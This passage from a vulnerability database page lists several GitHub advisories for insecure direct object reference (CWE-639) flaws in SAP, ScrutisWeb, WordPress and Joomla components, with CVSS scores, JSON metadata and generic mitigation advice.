"type": "CVSS_V3"
}
],
"summary": "Open WebUI Prompt history IDOR: unbound history_id allows cross-prompt read and deletion"
}
GHSA-4R8H-RJJ8-X3W5
Vulnerability from github – Published: 2023-09-14 03:30 – Updated: 2024-04-04 07:39
VLAI
Details
The OData service of the S4 HANA (Manage checkbook apps) - versions 102, 103, 104, 105, 106, 107, allows an attacker to change the checkbook name by simulating an update OData call.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-41368"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-12T02:15:12Z",
"severity": "MODERATE"
},
"details": "The OData service of the S4 HANA (Manage checkbook apps) - versions 102, 103, 104, 105, 106, 107, allows an attacker to change the checkbook name by simulating an update OData call.\n\n",
"id": "GHSA-4r8h-rjj8-x3w5",
"modified": "2024-04-04T07:39:48Z",
"published": "2023-09-14T03:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41368"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3355675"
},
{
"type": "WEB",
"url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4RCQ-F44J-G333
Vulnerability from github – Published: 2023-07-18 18:30 – Updated: 2024-04-04 06:14
VLAI
Details
Iagona ScrutisWeb versions 2.1.37 and prior are vulnerable to an insecure direct object reference vulnerability that could allow an unauthenticated user to view profile information, including user login names and encrypted passwords.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2023-38257"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-18T18:15:12Z",
"severity": "HIGH"
},
"details": "Iagona ScrutisWeb versions 2.1.37 and prior are vulnerable to an insecure direct object reference vulnerability that could allow an unauthenticated user to view profile information, including user login names and encrypted passwords.",
"id": "GHSA-4rcq-f44j-g333",
"modified": "2024-04-04T06:14:19Z",
"published": "2023-07-18T18:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38257"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-199-03"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4RF8-MJ4R-9MGW
Vulnerability from github – Published: 2026-08-12 06:30 – Updated: 2026-08-12 21:31
VLAI
Details
The WP Travel Engine WordPress plugin before 6.8.5 does not perform authorization or ownership checks when loading a caller-supplied booking identifier in one of its unauthenticated cart actions, allowing unauthenticated attackers to disclose any customer's booking order details and their stored billing information, and to overwrite that customer's booking record with their own data.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-16737"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-12T06:19:10Z",
"severity": "MODERATE"
},
"details": "The WP Travel Engine WordPress plugin before 6.8.5 does not perform authorization or ownership checks when loading a caller-supplied booking identifier in one of its unauthenticated cart actions, allowing unauthenticated attackers to disclose any customer\u0027s booking order details and their stored billing information, and to overwrite that customer\u0027s booking record with their own data.",
"id": "GHSA-4rf8-mj4r-9mgw",
"modified": "2026-08-12T21:31:34Z",
"published": "2026-08-12T06:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16737"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/1bc550f3-8b8f-42ac-aec9-7dcb7b0f7978"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4RMH-5MVP-V2G7
Vulnerability from github – Published: 2026-04-08 09:31 – Updated: 2026-04-14 15:30
VLAI
Details
Authorization Bypass Through User-Controlled Key vulnerability in dFactory Download Attachments download-attachments allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Download Attachments: from n/a through <= 1.4.0.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-39616"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-08T09:16:31Z",
"severity": "MODERATE"
},
"details": "Authorization Bypass Through User-Controlled Key vulnerability in dFactory Download Attachments download-attachments allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Download Attachments: from n/a through \u003c= 1.4.0.",
"id": "GHSA-4rmh-5mvp-v2g7",
"modified": "2026-04-14T15:30:29Z",
"published": "2026-04-08T09:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39616"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/download-attachments/vulnerability/wordpress-download-attachments-plugin-1-4-0-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4RR9-73QG-Q46X
Vulnerability from github – Published: 2026-09-29 18:31 – Updated: 2026-09-29 18:31
VLAI
Details
Joomla Extension - balbooa.com - Unauthorized Deletion of Attachments in Balbooa Forms < 2.4.3.4 - The public removeTmpAttachment action accepts an integer attachment ID and deletes the matching database row and file. The controller verifies a Joomla session token, but the model does not bind that ID to the session that uploaded the file, the current user, the form, the upload field, or the temporary state. Any guest can obtain a token for their own session, so the token prevents CSRF but does not authorize the target object.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-101112"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-29T17:17:04Z",
"severity": "MODERATE"
},
"details": "Joomla Extension - balbooa.com - Unauthorized Deletion of Attachments in Balbooa Forms \u003c 2.4.3.4 - The public removeTmpAttachment action accepts an integer attachment ID and deletes the matching database row and file. The controller verifies a Joomla session token, but the model does not bind that ID to the session that uploaded the file, the current user, the form, the upload field, or the temporary state. Any guest can obtain a token for their own session, so the token prevents CSRF but does not authorize the target object.",
"id": "GHSA-4rr9-73qg-q46x",
"modified": "2026-09-29T18:31:47Z",
"published": "2026-09-29T18:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101112"
},
{
"type": "WEB",
"url": "https://www.balbooa.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
Architecture and Design
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
Mitigation
Architecture and Design
Implementation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Mitigation
Architecture and Design
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
No CAPEC attack patterns related to this CWE.